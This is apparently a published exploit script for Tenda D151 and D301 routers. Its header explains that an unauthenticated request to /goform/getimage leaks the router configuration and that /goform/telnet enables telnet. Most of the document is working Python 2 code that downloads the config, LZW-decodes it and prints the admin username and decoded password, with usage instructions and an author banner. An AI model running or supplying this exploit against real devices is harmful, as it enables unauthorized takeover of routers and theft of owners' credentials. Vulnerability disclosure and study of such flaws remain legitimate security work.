1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 |
# Exploit Title: Tenda D151 & D301 - Configuration Download (Unauthenticated) # Date: 19-04-2021 # Exploit Author: BenChaliah # Author link: https://github.com/BenChaliah # Vendor Homepage: https://www.tendacn.com # Software Link: https://www.tendacn.com/us/download/detail-3331.html # Versions: # - D301 1.2.11.2_EN # - D301 V2.0 50.22.1.8_EN # - D151 V2.0 50.21.1.5_EN # --- Description --- # # This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage, # you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too. # --- Proof of concept --- # import struct import itertools import random, sys import requests import base64 FETCH_CODE = "\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z" ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'} CLEAR_CODE = 256 END_OF_CODE = CLEAR_CODE + 1 MIN_WIDTH = 8 DEFAULT_MIN_BITS = MIN_WIDTH + 1 DEFAULT_MAX_BITS = 12 def cmsDecoder(compressed_cfg): _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256)) _cp_dict[CLEAR_CODE] = CLEAR_CODE _cp_dict[END_OF_CODE] = END_OF_CODE prefix, offset, ignore = None, 0, 0 codepoints_arr, remainder, bits = [], [], [] init_csize = len(_cp_dict) codesize = init_csize minwidth = MIN_WIDTH while (1 << minwidth) < codesize: minwidth = minwidth + 1 pointwidth = minwidth buts_arr = [] for b in compressed_cfg: value = struct.unpack("B", b)[0] for bitplusone in range(8, 0, -1): bitindex = bitplusone - 1 buts_arr.append(1 & (value >> bitindex)) for nextbit in buts_arr: offset = (offset + 1) % 8 if ignore > 0: ignore = ignore - 1 continue bits.append(nextbit) if len(bits) == pointwidth: cp_int = 0 lsb_first = [b for b in bits] lsb_first.reverse() for bit_index in range(len(lsb_first)): if lsb_first[bit_index]: cp_int = cp_int | (1 << bit_index) bits = [] codepoints_arr.append(cp_int) codesize = codesize + 1 if cp_int in [CLEAR_CODE, END_OF_CODE]: codesize = init_csize pointwidth = minwidth else: while codesize >= (2 ** pointwidth): pointwidth = pointwidth + 1 if cp_int == END_OF_CODE: ignore = (8 - offset) % 8 decodedBytes = [] for cp_int in codepoints_arr: suffix = "" if cp_int == CLEAR_CODE: _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256)) _cp_dict[CLEAR_CODE] = CLEAR_CODE _cp_dict[END_OF_CODE] = END_OF_CODE prefix = None elif cp_int != END_OF_CODE: if cp_int in _cp_dict: suffix = _cp_dict[cp_int] if None != prefix: _cp_dict[len(_cp_dict)] = prefix + suffix[0] else: suffix = prefix + prefix[0] _cp_dict[len(_cp_dict)] = suffix prefix = suffix decoded = suffix for char in decoded: decodedBytes.append(char) return decodedBytes def exploit(ip): print "[!] Downloading config" try: r = requests.get("http://{}/goform/getimage".format(ip)) pass except: print "[-] Failed to download the config, the target may not be vulnerable" BIN_CONTENT = r.content BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50] CONFIG_XML = b"".join(cmsDecoder(BIN_CONTENT)) USER_, PASS_ = "", "" for i in ADMIN_LOG_CFG.keys(): if i in CONFIG_XML: CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:] PASS_ = CONFIG_XML[:CONFIG_XML.index('</')] USER_ = ADMIN_LOG_CFG[i] print "\tusername: {}\n\tpassword: {}\n".format(USER_, base64.b64decode(PASS_).rstrip('\x00')) return 0 print "[-] Failed to decode the config file\n" return -1 if len(sys.argv) == 1: print "usage: python2 " + sys.argv[0] + " router_ip" print "example: python2 exploit.py http://192.168.1.1" exit() if __name__ == "__main__": print """\ __ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/-- By BenCh@li@h | D _]/\ \-- BenChaliah@github \___/ / /\ \\ (_ )( _) """ try: exploit(sys.argv[1]) except Exception as e: print str(e) |